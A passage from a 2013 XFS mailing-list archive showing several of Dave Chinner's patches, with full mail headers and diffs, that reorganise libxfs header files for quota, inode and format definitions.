alloc argument struct */ { xfs_mount_t *mp; /* mount point structure */ xfs_alloctype_t atype = 0; /* type for allocation routines */ @@ -4028,7 +3824,7 @@ xfs_bmap_btalloc( */ STATIC int xfs_bmap_alloc( - xfs_bmalloca_t *ap) /* bmap alloc argument struct */ + struct xfs_bmalloca *ap) /* bmap alloc argument struct */ { if (XFS_IS_REALTIME_INODE(ap->ip) && ap->userdata) return xfs_bmap_rtalloc(ap); @@ -4416,8 +4212,8 @@ xfs_bmapi_delay( } -STATIC int -xfs_bmapi_allocate( +int +__xfs_bmapi_allocate( struct xfs_bmalloca *bma) { struct xfs_mount *mp = bma->ip->i_mount; -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3ACB98027 for ; Fri, 19 Jul 2013 01:45:48 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2B7B6304039 for ; Thu, 18 Jul 2013 23:45:48 -0700 (PDT) X-ASG-Debug-ID: 1374216331-04cb6c2a47ed6690008-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id x7HrTEpaNrBKcPc0 for ; Thu, 18 Jul 2013 23:45:46 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQVWMwgYMTkDGxmID7YjjnKFIAOhf4crgyQq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:41 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004J1-4c for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002LI-3X for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 28/49] xfs: move unrealted definitions out of xfs_inode.h Date: Fri, 19 Jul 2013 16:45:03 +1000 X-ASG-Orig-Subj: [PATCH 28/49] xfs: move unrealted definitions out of xfs_inode.h Message-Id: <1374216324-8781-29-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216346 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Signed-off-by: Dave Chinner --- include/Makefile | 1 + include/libxfs.h | 1 + include/xfs_inode.h | 36 ------------------------------------ include/xfs_trans.h | 7 +++++++ libxfs/xfs.h | 3 +++ 5 files changed, 12 insertions(+), 36 deletions(-) diff --git a/include/Makefile b/include/Makefile index 3d1ba0a..f84ff92 100644 --- a/include/Makefile +++ b/include/Makefile @@ -31,6 +31,7 @@ QAHFILES = libxfs.h libxlog.h \ xfs_ialloc.h \ xfs_ialloc_btree.h \ xfs_inode.h \ + xfs_inode_fork.h \ xfs_inum.h \ xfs_log_format.h \ xfs_log_recover.h \ diff --git a/include/libxfs.h b/include/libxfs.h index 181fe3c..321b122 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -54,6 +54,7 @@ #include #include #include +#include #include #include #include diff --git a/include/xfs_inode.h b/include/xfs_inode.h index 6ee8bb7..99c034e 100644 --- a/include/xfs_inode.h +++ b/include/xfs_inode.h @@ -34,35 +34,6 @@ struct xfs_imap { ushort im_boffset; /* inode offset in block in bytes */ }; -/* - * This is the xfs in-core inode structure. - * Most of the on-disk inode is embedded in the i_d field. - * - * The extent pointers/inline file space, however, are managed - * separately. The memory for this information is pointed to by - * the if_u1 unions depending on the type of the data. - * This is used to linearize the array of extents for fast in-core - * access. This is used until the file's number of extents - * surpasses XFS_MAX_INCORE_EXTENTS, at which point all extent pointers - * are accessed through the buffer cache. - * - * Other state kept in the in-core inode is used for identification, - * locking, transactional updating, etc of the inode. - * - * Generally, we do not want to hold the i_rlock while holding the - * i_ilock. Hierarchy is i_iolock followed by i_rlock. - * - * xfs_iptr_t contains all the inode fields up to and including the - * i_mnext and i_mprev fields, it is used as a marker in the inode - * chain off the mount structure by xfs_sync calls. - */ -/* - * Flags for xfs_ichgtime(). - */ -#define XFS_ICHGTIME_MOD 0x1 /* data fork modification timestamp */ -#define XFS_ICHGTIME_CHG 0x2 /* inode field change timestamp */ -#define XFS_ICHGTIME_CREATE 0x4 /* inode create timestamp */ - #ifdef __KERNEL__ @@ -398,13 +369,6 @@ do { \ #endif /* __KERNEL__ */ -/* - * Flags for xfs_iget() - */ -#define XFS_IGET_CREATE 0x1 -#define XFS_IGET_UNTRUSTED 0x2 -#define XFS_IGET_DONTCACHE 0x4 - int xfs_imap_to_bp(struct xfs_mount *, struct xfs_trans *, struct xfs_imap *, struct xfs_dinode **, struct xfs_buf **, uint, uint); diff --git a/include/xfs_trans.h b/include/xfs_trans.h index e504103..37aca08 100644 --- a/include/xfs_trans.h +++ b/include/xfs_trans.h @@ -89,6 +89,13 @@ struct xfs_log_item_desc { #define XFS_ATTR_BTREE_REF 1 #define XFS_DQUOT_REF 1 +/* + * Flags for xfs_trans_ichgtime(). + */ +#define XFS_ICHGTIME_MOD 0x1 /* data fork modification timestamp */ +#define XFS_ICHGTIME_CHG 0x2 /* inode field change timestamp */ +#define XFS_ICHGTIME_CREATE 0x4 /* inode create timestamp */ + #ifdef __KERNEL__ struct xfs_buf; diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 7149c09..1a01c61 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -68,6 +68,9 @@ typedef __uint32_t inst_t; /* an instruction */ #define IHOLD(ip) ((void) 0) +#define XFS_IGET_CREATE 0x1 +#define XFS_IGET_UNTRUSTED 0x2 + /* stop unused var warnings by assigning mp to itself */ #define XFS_CORRUPTION_ERROR(e,l,mp,m) do { \ (mp) = (mp); \ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 72C768058 for ; Fri, 19 Jul 2013 01:45:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 551FF304039 for ; Thu, 18 Jul 2013 23:45:48 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d54000c-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 5UFoi6z78G0JPuyv for ; Thu, 18 Jul 2013 23:45:46 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45YBxOFIAOhf4crgyQqgS0 Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:40 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004If-V9 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002Ke-Tu for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 20/49] xfs: separate dquot on disk format definitions out of xfs_quota.h Date: Fri, 19 Jul 2013 16:44:55 +1000 X-ASG-Orig-Subj: [PATCH 20/49] xfs: separate dquot on disk format definitions out of xfs_quota.h Message-Id: <1374216324-8781-21-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216346 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The on disk format definitions of the on-disk dquot, log formats and quota off log formats are all intertwined with other definitions for quotas. Separate them out into their own header file so they can easily be shared with userspace. Signed-off-by: Dave Chinner --- include/Makefile | 1 + include/libxfs.h | 1 + include/xfs_format.h | 86 +++++++++++++++++++++++++++++++++++ include/xfs_log_format.h | 58 ++++++++++++++++++++++++ include/xfs_quota.h | 114 ----------------------------------------------- include/xfs_types.h | 6 +++ 6 files changed, 152 insertions(+), 114 deletions(-) create mode 100644 include/xfs_format.h diff --git a/include/Makefile b/include/Makefile index ad2ac46..8f738a8 100644 --- a/include/Makefile +++ b/include/Makefile @@ -27,6 +27,7 @@ QAHFILES = libxfs.h libxlog.h \ xfs_cksum.h \ xfs_da_btree.h \ xfs_dinode.h xfs_dir2.h xfs_dir2_format.h \ + xfs_format.h \ xfs_ialloc.h \ xfs_ialloc_btree.h \ xfs_icreate_item.h \ diff --git a/include/libxfs.h b/include/libxfs.h index 40e5e25..646ca79 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -37,6 +37,7 @@ #include #include +#include #include #include diff --git a/include/xfs_format.h b/include/xfs_format.h new file mode 100644 index 0000000..2b4f166 --- /dev/null +++ b/include/xfs_format.h @@ -0,0 +1,86 @@ +/* + * Copyright (c) 2000-2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_FORMAT_H__ +#define __XFS_FORMAT_H__ + +/* + * XFS On Disk Format Definitions + * + * This header file defines all the on-disk format definitions for + * general XFS objects. Directory and attribute related objects are defined in + * xfs_da_format.h, which log and log item formats are defined in + * xfs_log_format.h. Everything else goes here. + */ + +/* + * Dquot and dquot block format definitions + */ +#define XFS_DQUOT_MAGIC 0x4451 /* 'DQ' */ +#define XFS_DQUOT_VERSION (u_int8_t)0x01 /* latest version number */ + +/* + * This is the main portion of the on-disk representation of quota + * information for a user. This is the q_core of the xfs_dquot_t that + * is kept in kernel memory. We pad this with some more expansion room + * to construct the on disk structure. + */ +typedef struct xfs_disk_dquot { + __be16 d_magic; /* dquot magic = XFS_DQUOT_MAGIC */ + __u8 d_version; /* dquot version */ + __u8 d_flags; /* XFS_DQ_USER/PROJ/GROUP */ + __be32 d_id; /* user,project,group id */ + __be64 d_blk_hardlimit;/* absolute limit on disk blks */ + __be64 d_blk_softlimit;/* preferred limit on disk blks */ + __be64 d_ino_hardlimit;/* maximum # allocated inodes */ + __be64 d_ino_softlimit;/* preferred inode limit */ + __be64 d_bcount; /* disk blocks owned by the user */ + __be64 d_icount; /* inodes owned by the user */ + __be32 d_itimer; /* zero if within inode limits if not, + this is when we refuse service */ + __be32 d_btimer; /* similar to above; for disk blocks */ + __be16 d_iwarns; /* warnings issued wrt num inodes */ + __be16 d_bwarns; /* warnings issued wrt disk blocks */ + __be32 d_pad0; /* 64 bit align */ + __be64 d_rtb_hardlimit;/* absolute limit on realtime blks */ + __be64 d_rtb_softlimit;/* preferred limit on RT disk blks */ + __be64 d_rtbcount; /* realtime blocks owned */ + __be32 d_rtbtimer; /* similar to above; for RT disk blocks */ + __be16 d_rtbwarns; /* warnings issued wrt RT disk blocks */ + __be16 d_pad; +} xfs_disk_dquot_t; + +/* + * This is what goes on disk. This is separated from the xfs_disk_dquot because + * carrying the unnecessary padding would be a waste of memory. + */ +typedef struct xfs_dqblk { + xfs_disk_dquot_t dd_diskdq; /* portion that lives incore as well */ + char dd_fill[4]; /* filling for posterity */ + + /* + * These two are only present on filesystems with the CRC bits set. + */ + __be32 dd_crc; /* checksum */ + __be64 dd_lsn; /* last modification in log */ + uuid_t dd_uuid; /* location information */ +} xfs_dqblk_t; + +#define XFS_DQUOT_CRC_OFF offsetof(struct xfs_dqblk, dd_crc) + + +#endif /* __XFS_FORMAT_H__ */ diff --git a/include/xfs_log_format.h b/include/xfs_log_format.h index d1e93d3..5963ec7 100644 --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -544,4 +544,62 @@ typedef struct xfs_efd_log_format_64 { xfs_extent_64_t efd_extents[1]; /* array of extents freed */ } xfs_efd_log_format_64_t; +/* + * Dquot Log format definitions. + * + * The first two fields must be the type and size fitting into + * 32 bits : log_recovery code assumes that. + */ +typedef struct xfs_dq_logformat { + __uint16_t qlf_type; /* dquot log item type */ + __uint16_t qlf_size; /* size of this item */ + xfs_dqid_t qlf_id; /* usr/grp/proj id : 32 bits */ + __int64_t qlf_blkno; /* blkno of dquot buffer */ + __int32_t qlf_len; /* len of dquot buffer */ + __uint32_t qlf_boffset; /* off of dquot in buffer */ +} xfs_dq_logformat_t; + +/* + * log format struct for QUOTAOFF records. + * The first two fields must be the type and size fitting into + * 32 bits : log_recovery code assumes that. + * We write two LI_QUOTAOFF logitems per quotaoff, the last one keeps a pointer + * to the first and ensures that the first logitem is taken out of the AIL + * only when the last one is securely committed. + */ +typedef struct xfs_qoff_logformat { + unsigned short qf_type; /* quotaoff log item type */ + unsigned short qf_size; /* size of this item */ + unsigned int qf_flags; /* USR and/or GRP */ + char qf_pad[12]; /* padding for future */ +} xfs_qoff_logformat_t; + + +/* + * Disk quotas status in m_qflags, and also sb_qflags. 16 bits. + */ +#define XFS_UQUOTA_ACCT 0x0001 /* user quota accounting ON */ +#define XFS_UQUOTA_ENFD 0x0002 /* user quota limits enforced */ +#define XFS_UQUOTA_CHKD 0x0004 /* quotacheck run on usr quotas */ +#define XFS_PQUOTA_ACCT 0x0008 /* project quota accounting ON */ +#define XFS_OQUOTA_ENFD 0x0010 /* other (grp/prj) quota limits enforced */ +#define XFS_OQUOTA_CHKD 0x0020 /* quotacheck run on other (grp/prj) quotas */ +#define XFS_GQUOTA_ACCT 0x0040 /* group quota accounting ON */ + +/* + * Conversion to and from the combined OQUOTA flag (if necessary) + * is done only in xfs_sb_qflags_to_disk() and xfs_sb_qflags_from_disk() + */ +#define XFS_GQUOTA_ENFD 0x0080 /* group quota limits enforced */ +#define XFS_GQUOTA_CHKD 0x0100 /* quotacheck run on group quotas */ +#define XFS_PQUOTA_ENFD 0x0200 /* project quota limits enforced */ +#define XFS_PQUOTA_CHKD 0x0400 /* quotacheck run on project quotas */ + +#define XFS_ALL_QUOTA_ACCT \ + (XFS_UQUOTA_ACCT | XFS_GQUOTA_ACCT | XFS_PQUOTA_ACCT) +#define XFS_ALL_QUOTA_ENFD \ + (XFS_UQUOTA_ENFD | XFS_GQUOTA_ENFD | XFS_PQUOTA_ENFD) +#define XFS_ALL_QUOTA_CHKD \ + (XFS_UQUOTA_CHKD | XFS_GQUOTA_CHKD | XFS_PQUOTA_CHKD) + #endif /* __XFS_LOG_FORMAT_H__ */ diff --git a/include/xfs_quota.h b/include/xfs_quota.h index c61e31c..18dadf6 100644 --- a/include/xfs_quota.h +++ b/include/xfs_quota.h @@ -21,18 +21,6 @@ struct xfs_trans; /* - * The ondisk form of a dquot structure. - */ -#define XFS_DQUOT_MAGIC 0x4451 /* 'DQ' */ -#define XFS_DQUOT_VERSION (u_int8_t)0x01 /* latest version number */ - -/* - * uid_t and gid_t are hard-coded to 32 bits in the inode. - * Hence, an 'id' in a dquot is 32 bits.. - */ -typedef __uint32_t xfs_dqid_t; - -/* * Even though users may not have quota limits occupying all 64-bits, * they may need 64-bit accounting. Hence, 64-bit quota-counters, * and quota-limits. This is a waste in the common case, but hey ... @@ -41,53 +29,6 @@ typedef __uint64_t xfs_qcnt_t; typedef __uint16_t xfs_qwarncnt_t; /* - * This is the main portion of the on-disk representation of quota - * information for a user. This is the q_core of the xfs_dquot_t that - * is kept in kernel memory. We pad this with some more expansion room - * to construct the on disk structure. - */ -typedef struct xfs_disk_dquot { - __be16 d_magic; /* dquot magic = XFS_DQUOT_MAGIC */ - __u8 d_version; /* dquot version */ - __u8 d_flags; /* XFS_DQ_USER/PROJ/GROUP */ - __be32 d_id; /* user,project,group id */ - __be64 d_blk_hardlimit;/* absolute limit on disk blks */ - __be64 d_blk_softlimit;/* preferred limit on disk blks */ - __be64 d_ino_hardlimit;/* maximum # allocated inodes */ - __be64 d_ino_softlimit;/* preferred inode limit */ - __be64 d_bcount; /* disk blocks owned by the user */ - __be64 d_icount; /* inodes owned by the user */ - __be32 d_itimer; /* zero if within inode limits if not, - this is when we refuse service */ - __be32 d_btimer; /* similar to above; for disk blocks */ - __be16 d_iwarns; /* warnings issued wrt num inodes */ - __be16 d_bwarns; /* warnings issued wrt disk blocks */ - __be32 d_pad0; /* 64 bit align */ - __be64 d_rtb_hardlimit;/* absolute limit on realtime blks */ - __be64 d_rtb_softlimit;/* preferred limit on RT disk blks */ - __be64 d_rtbcount; /* realtime blocks owned */ - __be32 d_rtbtimer; /* similar to above; for RT disk blocks */ - __be16 d_rtbwarns; /* warnings issued wrt RT disk blocks */ - __be16 d_pad; -} xfs_disk_dquot_t; - -/* - * This is what goes on disk. This is separated from the xfs_disk_dquot because - * carrying the unnecessary padding would be a waste of memory. - */ -typedef struct xfs_dqblk { - xfs_disk_dquot_t dd_diskdq; /* portion that lives incore as well */ - char dd_fill[4]; /* filling for posterity */ - - /* - * These two are only present on filesystems with the CRC bits set. - */ - __be32 dd_crc; /* checksum */ - __be64 dd_lsn; /* last modification in log */ - uuid_t dd_uuid; /* location information */ -} xfs_dqblk_t; - -/* * flags for q_flags field in the dquot. */ #define XFS_DQ_USER 0x0001 /* a user quota */ @@ -111,61 +52,6 @@ typedef struct xfs_dqblk { */ #define XFS_DQUOT_LOGRES(mp) (sizeof(xfs_disk_dquot_t) * 3) - -/* - * These are the structures used to lay out dquots and quotaoff - * records on the log. Quite similar to those of inodes. - */ - -/* - * log format struct for dquots. - * The first two fields must be the type and size fitting into - * 32 bits : log_recovery code assumes that. - */ -typedef struct xfs_dq_logformat { - __uint16_t qlf_type; /* dquot log item type */ - __uint16_t qlf_size; /* size of this item */ - xfs_dqid_t qlf_id; /* usr/grp/proj id : 32 bits */ - __int64_t qlf_blkno; /* blkno of dquot buffer */ - __int32_t qlf_len; /* len of dquot buffer */ - __uint32_t qlf_boffset; /* off of dquot in buffer */ -} xfs_dq_logformat_t; - -/* - * log format struct for QUOTAOFF records. - * The first two fields must be the type and size fitting into - * 32 bits : log_recovery code assumes that. - * We write two LI_QUOTAOFF logitems per quotaoff, the last one keeps a pointer - * to the first and ensures that the first logitem is taken out of the AIL - * only when the last one is securely committed. - */ -typedef struct xfs_qoff_logformat { - unsigned short qf_type; /* quotaoff log item type */ - unsigned short qf_size; /* size of this item */ - unsigned int qf_flags; /* USR and/or GRP */ - char qf_pad[12]; /* padding for future */ -} xfs_qoff_logformat_t; - - -/* - * Disk quotas status in m_qflags, and also sb_qflags. 16 bits. - */ -#define XFS_UQUOTA_ACCT 0x0001 /* user quota accounting ON */ -#define XFS_UQUOTA_ENFD 0x0002 /* user quota limits enforced */ -#define XFS_UQUOTA_CHKD 0x0004 /* quotacheck run on usr quotas */ -#define XFS_PQUOTA_ACCT 0x0008 /* project quota accounting ON */ -#define XFS_OQUOTA_ENFD 0x0010 /* other (grp/prj) quota limits enforced */ -#define XFS_OQUOTA_CHKD 0x0020 /* quotacheck run on other (grp/prj) quotas */ -#define XFS_GQUOTA_ACCT 0x0040 /* group quota accounting ON */ - -/* - * Quota Accounting/Enforcement flags - */ -#define XFS_ALL_QUOTA_ACCT \ - (XFS_UQUOTA_ACCT | XFS_GQUOTA_ACCT | XFS_PQUOTA_ACCT) -#define XFS_ALL_QUOTA_ENFD (XFS_UQUOTA_ENFD | XFS_OQUOTA_ENFD) -#define XFS_ALL_QUOTA_CHKD (XFS_UQUOTA_CHKD | XFS_OQUOTA_CHKD) - #define XFS_IS_QUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_ALL_QUOTA_ACCT) #define XFS_IS_UQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_UQUOTA_ACCT) #define XFS_IS_PQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_PQUOTA_ACCT) diff --git a/include/xfs_types.h b/include/xfs_types.h index 543fdf0..b144a8f 100644 --- a/include/xfs_types.h +++ b/include/xfs_types.h @@ -178,4 +178,10 @@ struct xfs_name { int len; }; +/* + * uid_t and gid_t are hard-coded to 32 bits in the inode. + * Hence, an 'id' in a dquot is 32 bits.. + */ +typedef __uint32_t xfs_dqid_t; + #endif /* __XFS_TYPES_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9DCD48056 for ; Fri, 19 Jul 2013 01:45:47 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8E5978F8033 for ; Thu, 18 Jul 2013 23:45:47 -0700 (PDT) X-ASG-Debug-ID: 1374216331-04cb6c2a47ed6690007-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id SgXbq8dDBcGKJNvt for ; Thu, 18 Jul 2013 23:45:43 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ar8LAMLf6FF5LK4r/2dsb2JhbABSCIMGrjqTDAQBgRQXdIIkAQEFGgEMLzMIGDE5AxsZiA+2I45ZBhOBEoQOA5QGjXmHK4MkKoEtAR4G Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:38 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004J3-5V for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002LN-4D for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 29/49] xfs: introduce xfs_inode_buf.c for inode buffer operations Date: Fri, 19 Jul 2013 16:45:04 +1000 X-ASG-Orig-Subj: [PATCH 29/49] xfs: introduce xfs_inode_buf.c for inode buffer operations Message-Id: <1374216324-8781-30-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216342 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The only thing remaining in xfs_inode.[ch] are the operations that read, write or verify physical inodes in their underlying buffers. Move all this code to xfs_inode_buf.[ch] and so we can stop sharing xfs_inode.[ch] with userspace. Signed-off-by: Dave Chinner --- include/Makefile | 2 +- include/libxfs.h | 2 +- include/xfs_inode.h | 393 --------------------------------------------- include/xfs_inode_buf.h | 53 ++++++ libxfs/Makefile | 2 +- libxfs/init.c | 3 +- libxfs/xfs_inode.c | 419 ------------------------------------------------ libxfs/xfs_inode_buf.c | 408 ++++++++++++++++++++++++++++++++++++++++++++++ 8 files changed, 466 insertions(+), 816 deletions(-) delete mode 100644 include/xfs_inode.h create mode 100644 include/xfs_inode_buf.h delete mode 100644 libxfs/xfs_inode.c create mode 100644 libxfs/xfs_inode_buf.c diff --git a/include/Makefile b/include/Makefile index f84ff92..2b121e5 100644 --- a/include/Makefile +++ b/include/Makefile @@ -30,7 +30,7 @@ QAHFILES = libxfs.h libxlog.h \ xfs_format.h \ xfs_ialloc.h \ xfs_ialloc_btree.h \ - xfs_inode.h \ + xfs_inode_buf.h \ xfs_inode_fork.h \ xfs_inum.h \ xfs_log_format.h \ diff --git a/include/libxfs.h b/include/libxfs.h index 321b122..f84b816 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -55,7 +55,7 @@ #include #include #include -#include +#include #include #include #include diff --git a/include/xfs_inode.h b/include/xfs_inode.h deleted file mode 100644 index 99c034e..0000000 --- a/include/xfs_inode.h +++ /dev/null @@ -1,393 +0,0 @@ -/* - * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_INODE_H__ -#define __XFS_INODE_H__ - -struct posix_acl; -struct xfs_dinode; -struct xfs_inode; - -#include "xfs_inode_fork.h" - -/* - * Inode location information. Stored in the inode and passed to - * xfs_imap_to_bp() to get a buffer and dinode for a given inode. - */ -struct xfs_imap { - xfs_daddr_t im_blkno; /* starting BB of inode chunk */ - ushort im_len; /* length in BBs of inode chunk */ - ushort im_boffset; /* inode offset in block in bytes */ -}; - - -#ifdef __KERNEL__ - -struct xfs_buf; -struct xfs_bmap_free; -struct xfs_bmbt_irec; -struct xfs_inode_log_item; -struct xfs_mount; -struct xfs_trans; -struct xfs_dquot; - -typedef struct xfs_inode { - /* Inode linking and identification information. */ - struct xfs_mount *i_mount; /* fs mount struct ptr */ - struct xfs_dquot *i_udquot; /* user dquot */ - struct xfs_dquot *i_gdquot; /* group dquot */ - - /* Inode location stuff */ - xfs_ino_t i_ino; /* inode number (agno/agino)*/ - struct xfs_imap i_imap; /* location for xfs_imap() */ - - /* Extent information. */ - xfs_ifork_t *i_afp; /* attribute fork pointer */ - xfs_ifork_t i_df; /* data fork */ - - /* Transaction and locking information. */ - struct xfs_inode_log_item *i_itemp; /* logging information */ - mrlock_t i_lock; /* inode lock */ - mrlock_t i_iolock; /* inode IO lock */ - atomic_t i_pincount; /* inode pin count */ - spinlock_t i_flags_lock; /* inode i_flags lock */ - /* Miscellaneous state. */ - unsigned long i_flags; /* see defined flags below */ - unsigned int i_delayed_blks; /* count of delay alloc blks */ - - xfs_icdinode_t i_d; /* 